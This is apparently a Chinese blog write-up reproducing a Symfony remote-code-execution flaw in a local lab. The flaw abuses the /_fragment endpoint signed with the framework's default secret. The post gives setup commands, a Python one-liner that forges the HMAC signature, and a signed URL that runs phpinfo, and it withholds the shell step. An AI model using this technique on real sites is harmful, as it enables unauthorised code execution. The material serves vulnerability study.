不知几DAY的Symfony---RCE复现

简介: Symfony是一个开源的PHP Web框架,它现在是许多知名 CMS 的核心组件,例如Drupal、Joomla! 此文演示了该框架存在的一个RCE漏洞

感谢红队大佬老流氓的供稿,此篇文章是针对Symfony框架的一个RCE漏洞复现

框架简介

Symfony是一个开源的PHP Web框架,它现在是许多知名 CMS 的核心组件,例如Drupal、Joomla!、eZPlatform(以前称为 eZPublish)或Bolt。该框架在低版本时使用了默认密钥,从而造成RCE。

Symfony  的内置功能之一是类,用于处理ESI(Edge-Side Includes)。本质上,当有人向发出请求时,此侦听器会根据给定的 GET  参数设置请求属性。由于这允许运行任意 PHP 代码(稍后会详细介绍),因此必须使用 HMAC 值对请求进行签名。此 HMAC  的秘密加密密钥存储在名为的 Symfony 配置值下。

FragmentListener/_fragmentsecret


漏洞前提

版本高的时候攻击者需要拿到密钥(从文件备份等获取),低版本时为默认密钥(本地安装获即可得)。


环境安装

这里使用的是ubuntu16,安装的是Symfony 3.4.1,命令大致如下

sudo apt update

sudo apt install php-cli unzip

sudo apt-get update

sudo apt-get install php php-xml php-curl php-cli php-zip php-gd php-mysql

sudo apt-get install php php-xml php-curl php-cli php-zip php-gd php-mysql -y

composer create-project symfony/framework-standard-edition my_project_name 3.4.1

apt install composer -y

composer create-project symfony/framework-standard-edition my_project_name 3.4.1

sudo apt-get install --reinstall ca-certificates

composer create-project symfony/framework-standard-edition my_project_name 3.4.1

sudo apt update

sudo apt install php-cli unzip

php -r "copy('https://getcomposer.org/installer', 'composer-setup.php');"

php composer-setup.php --install-dir=/usr/local/bin --filename=composer

php -r "unlink('composer-setup.php');"

composer create-project symfony/framework-standard-edition my_project_name 3.4.1

cd my_project_name

composer install

sudo chmod +x bin/console


启动环境

php bin/console server:run 0.0.0.0:8000        在本机的8000端口开启监听

图片.png

图片.png

漏洞复现

密钥: APP_SECRET is ThisTokenIsNotSoSecretChangeIt        安装的时候可以看见


生成签名,执行phpinfo函数

page="http://xx.xx.xx.xx:8000/_fragment?_path=_controller%3Dphpinfo%26what%3D-1"

python  -c "import base64, hmac, hashlib;  print(base64.b64encode(hmac.HMAC(b'ThisTokenIsNotSoSecretChangeIt',  b'$page', hashlib.sha256).digest()))"

图片.png

拼接路径

注意如果生成的签名里面有+号等特殊符号需要进行url编码,完整url如下:

http://xx.xx.xx.xx:8000/_fragment?_path=_controller%3Dphpinfo%26what%3D-1&_hash=1AojZEyRdQcbIw/hIIukPuOfCbj8tuYrKg0sCPJBWDE=


图片.png

Getshell部分就不发了,那个就是佬的辛勤研究成果了,请大家给老流氓点赞

复现难点

如何获取每个函数的使用方法、寻找可getshell的函数。注意编码问题,如果访问拼接的url提示403则签名有问题,可能是有符号没有编码或函数参数有问题


参考文章

https://www.ambionics.io/blog/symfony-secret-fragment

https://medium.com/@bxrowski0x/3-symfony-rce-a-peek-behind-the-curtain-83da5433e149


相关文章
|
7月前
|
安全
BurpSuite插件 -- Struts2-RCE(文字版)
BurpSuite插件 -- Struts2-RCE(文字版)
85 0
|
安全 Java 开发者
刚折腾完Log4J,又爆Spring RCE核弹级漏洞
继Log4J爆出安全漏洞之后,又在深夜,Spring的github上又更新了一条可能造成RCE(远程命令执行漏洞)的问题代码,随即在国内的安全圈炸开了锅。有安全专家建议升级到JDK 9以上,有些专家又建议回滚到JDK 7以下,一时间小伙伴们不知道该怎么办了。大家来看一段动画演示,怎么改都是“将军"。
121 1
|
开发框架 安全 Java
Spring Framework远程代码执行漏洞复现(CVE-2022-22965)
Spring Framework存在远程代码执行漏洞,攻击者可通过该漏洞执行系统命令。
461 1
Spring Framework远程代码执行漏洞复现(CVE-2022-22965)
|
SQL 安全 数据库
WordPress插件中的流行的严重错误发布的PoC漏洞
WordPress插件中的流行的严重错误发布的PoC漏洞
|
缓存 安全 Shell
PANDA详细复现CVE_2017_7269漏洞教程—国庆节快乐!
CVE_2017_7269漏洞属于高危漏洞,是由Zhiniang Peng和Chen Wu发现的。IIS6.0开启Webdav服务的服务器被爆存在缓存区溢出漏洞导致远程代码随意执行,目前针对 Windows Server 2003 R2可以稳定利用。
204 0
|
安全 Java fastjson
Log4j2漏洞复现&原理&补丁绕过
Log4j2漏洞复现&原理&补丁绕过
|
开发框架 JavaScript 安全
常见框架RCE总结
本篇文章主要分享总结一下常见框架的rce姿势
685 0
|
安全 Linux PHP
[ 靶场环境篇 ] XSS-labs 靶场环境搭建(特别详细)
想入门渗透行业呢光有理论基础是不够的,更重要的是实践经验。 接下来我会分享一些入门级靶场,从环境搭建一直到通关教程。 入门级靶场会分享:pikachu、DVWA、XSS-labs、sql-labs、upload-labs等内容。 上篇文章写到了 pikachu 靶场的搭建,本文写 XSS-lab 靶场环境的搭建。
2202 0
[ 靶场环境篇 ] XSS-labs 靶场环境搭建(特别详细)
|
安全 前端开发 Java
SpringCore RCE 1day漏洞复现(NSSCTF Spring Core RCE)
在Spring框架的JDK9版本(及以上版本)中,远程攻击者可在满足特定条件的基础上,通过框架的参数绑定功能获取AccessLogValve对象并诸如恶意字段值,从而触发pipeline机制并 写入任意路径下的文件。
269 0
SpringCore RCE 1day漏洞复现(NSSCTF Spring Core RCE)
|
云安全 安全 druid
5 分钟复现 log4J 漏洞,手把手实现
5 分钟复现 log4J 漏洞,手把手实现
1947 0
5 分钟复现 log4J 漏洞,手把手实现

热门文章

最新文章